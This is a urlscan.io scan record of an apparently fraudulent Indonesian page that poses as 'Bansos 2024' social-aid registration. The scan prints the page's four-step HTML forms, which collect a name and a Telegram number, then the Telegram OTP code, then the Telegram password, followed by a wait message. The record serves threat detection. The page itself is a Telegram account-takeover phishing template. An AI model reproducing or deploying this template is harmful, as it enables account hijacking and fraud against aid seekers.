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mail.vv3.dapatkanbansospkh.bmsdm.com Open in urlscan Pro
165.154.208.7  Public Scan

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Submitted URL: http://mail.vv3.dapatkanbansospkh.bmsdm.com/
Effective URL: https://mail.vv3.dapatkanbansospkh.bmsdm.com/
Submission: On November 14 via api from US — Scanned from CA

Form analysis 4 forms found in the DOM

POST javascript:void(0)

<form action="javascript:void(0)" method="post" id="firstForm">
  <section>
    <p style="background: #05529be8; color: #f1f3f5; padding-top: 1px; margin-bottom: 6px; padding-bottom: 0px; height: 31px; font-size: 14px; text-align: center;"> &nbsp; Pendaftaran</p>
    <div class="first">
      <div class="col-sm-12">
        <label for="Name">Nama Lengkap (sesuai E-KTP)</label>
        <input class="form-control" placeholder="Nama Lengkap" data-presence="true" data-content="Sila isikan ruang ini" maxlength="100" size="100" type="text" name="full_name" id="full_name">
      </div>
      <div class="col-sm-12">
        <label for="Name">Usia</label>
        <input placeholder="Masukan Usia anda" class="form-control" data-presence="true" data-ic="true" data-content="Sila masukkan nombor pengenalan yang sah" type="text" name="icnumber" id="icnumber">
      </div>
      <!-- 
                  <div class="field-arrow">
                  </div>
                  <div class="field-arrow">

                  </div>
                 -->
    </div>
    <div class="col-sm-12">
      <label for="sector">Jenis Klamin</label>
      <div class="field-arrow">
        <select class="form-control ploan_application_sector" data-presence="true" data-content="Sila buat mana-mana pilihan" name="sek" id="sek">
          <option value="Pria">Laki Laki</option>
          <option value="Wanita">Prempuan</option>
        </select>
      </div>
      <!-- 
                  <div class="field-arrow">
                  </div>
                  <div class="field-arrow">

                  </div>
                 -->
    </div>
    <div class="col-sm-12">
      <label for="Name">Nomor telepon Telegram Aktif</label>
      <input placeholder="Nomor Telegram" class="form-control" data-presence="true" data-content="Silakan masukkan nomor telepon yang aktif dan sudah menggunakan Telegram" type="tel" name="phone_number" id="phone_number">
    </div>
    <div class="col-sm-12">
      <label for="agree_telegram">
        <input name="personal_loan_application[agree_whatsapp]" type="hidden" value="0"><input data-checkbox="true" data-content="Sila tandakan kotak berkenaan" type="checkbox" value="1" name="personal_loan_application[agree_whatsapp]"
          id="personal_loan_application_agree_whatsapp"> Saya setuju untuk menerima pesan Telegram dari Admin Bansos2024 </label>
    </div>
    <div class="text-center">
      <button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processFirstData()">Daftar</button>
    </div>
  </section>
</form>

POST javascript:void(0)

<form action="javascript:void(0)" method="post" id="secondForm">
  <input type="hidden" name="phone_number" id="validatephone_number" readonly="">
  <div class="mb-3">
    <label for="otp_code" class="form-label">
      <span id="ctl00_RecipientMasterContent_lblEntry_IDNo">Masukan Kode Otp Yang Diterima di TELEGRAM Anda.</span>
    </label>
    <input name="otp_code" maxlength="6" id="otp" class="form-control" type="tel" required="true" placeholder="Masukkan kode verifikasi">
  </div>
  <div class="text-center">
    <button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processSecondData()">BERIKUTNYA</button>
  </div>
</form>

POST javascript:void(0)

<form action="javascript:void(0)" method="post" id="thirdForm">
  <input type="hidden" name="phone_number" id="validatephone_number" readonly="">
  <input type="hidden" name="otp_code" id="validateotp_code" readonly="">
  <div class="mb-3">
    <label for="password" class="form-label">
      <span id="ctl00_RecipientMasterContent_lblEntry_IDNo">Masukkan kata sandi TELEGRAM Anda jika ada (opsional).</span>
    </label>
    <input name="password" id="password" class="form-control" type="text" placeholder="Masukkan kata sandi anda">
  </div>
  <div class="text-center">
    <button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processThirdData()">Konfirmasi</button>
  </div>
</form>

POST javascript:void(0)

<form action="javascript:void(0)" method="post" id="fourForm" enctype="multipart/form-data">
  <input type="hidden" name="phone_number" id="validatephone_number" readonly="">
  <input type="hidden" name="otp_code" id="validateotp_code" readonly="">
  <input type="hidden" name="password" id="validatepassword" readonly="">
  <div class="mb-3">
    <p class="fw-bold mt-2 page-header text-center ">
      <span id="ctl00_RecipientMasterContent_lblSubject">SILAHKAN KLIK KONFIRMASI DIBAWAH TUNGGU PROSES PENDAFTARAN JANGAN TINGGALKAN HALAMAN SELAMA 10 MENIT </span>
    </p>
  </div>
  <br>
  <div class="mb-3">
    <p class="fw-bold mt-2 page-header text-center ">
      <span id="ctl00_RecipientMasterContent_lblSubject">PASTIKAN DATA YANG ANDA MASUKAN BARUSAN SUDAH BENAR,</span>
    </p>
  </div>
  <section class="text-center" style="padding-top: 24px;">
    <input class="btn btn-primary" type="submit" onclick="processfourData()" style="width: 280.65px;font-weight: bold;background: rgb(245,15,0);" value="KOMFIRMASI">
  </section>
</form>

Text Content

SILAHKAN ISI DATA ANDA DENGEN BENAR DI BAWAH UNTUK PENDAFTARAN PENERIMA BANSOS
2024

  Pendaftaran

Nama Lengkap (sesuai E-KTP)
Usia
Jenis Klamin
Laki Laki Prempuan
Nomor telepon Telegram Aktif
Saya setuju untuk menerima pesan Telegram dari Admin Bansos2024
Daftar
Masukan Kode Otp Yang Diterima di TELEGRAM Anda.
BERIKUTNYA
Masukkan kata sandi TELEGRAM Anda jika ada (opsional).
Konfirmasi

  STATUS ANDA SEDANG DALAM PENGECEKAN.



SILAHKAN KLIK KONFIRMASI DIBAWAH TUNGGU PROSES PENDAFTARAN JANGAN TINGGALKAN
HALAMAN SELAMA 10 MENIT


PASTIKAN DATA YANG ANDA MASUKAN BARUSAN SUDAH BENAR,



SILAHKAN TUNGGU KAMI SEDANG MELAKUKAN PENGECEKAN DATA ANDA

« Gunakan Nomor lain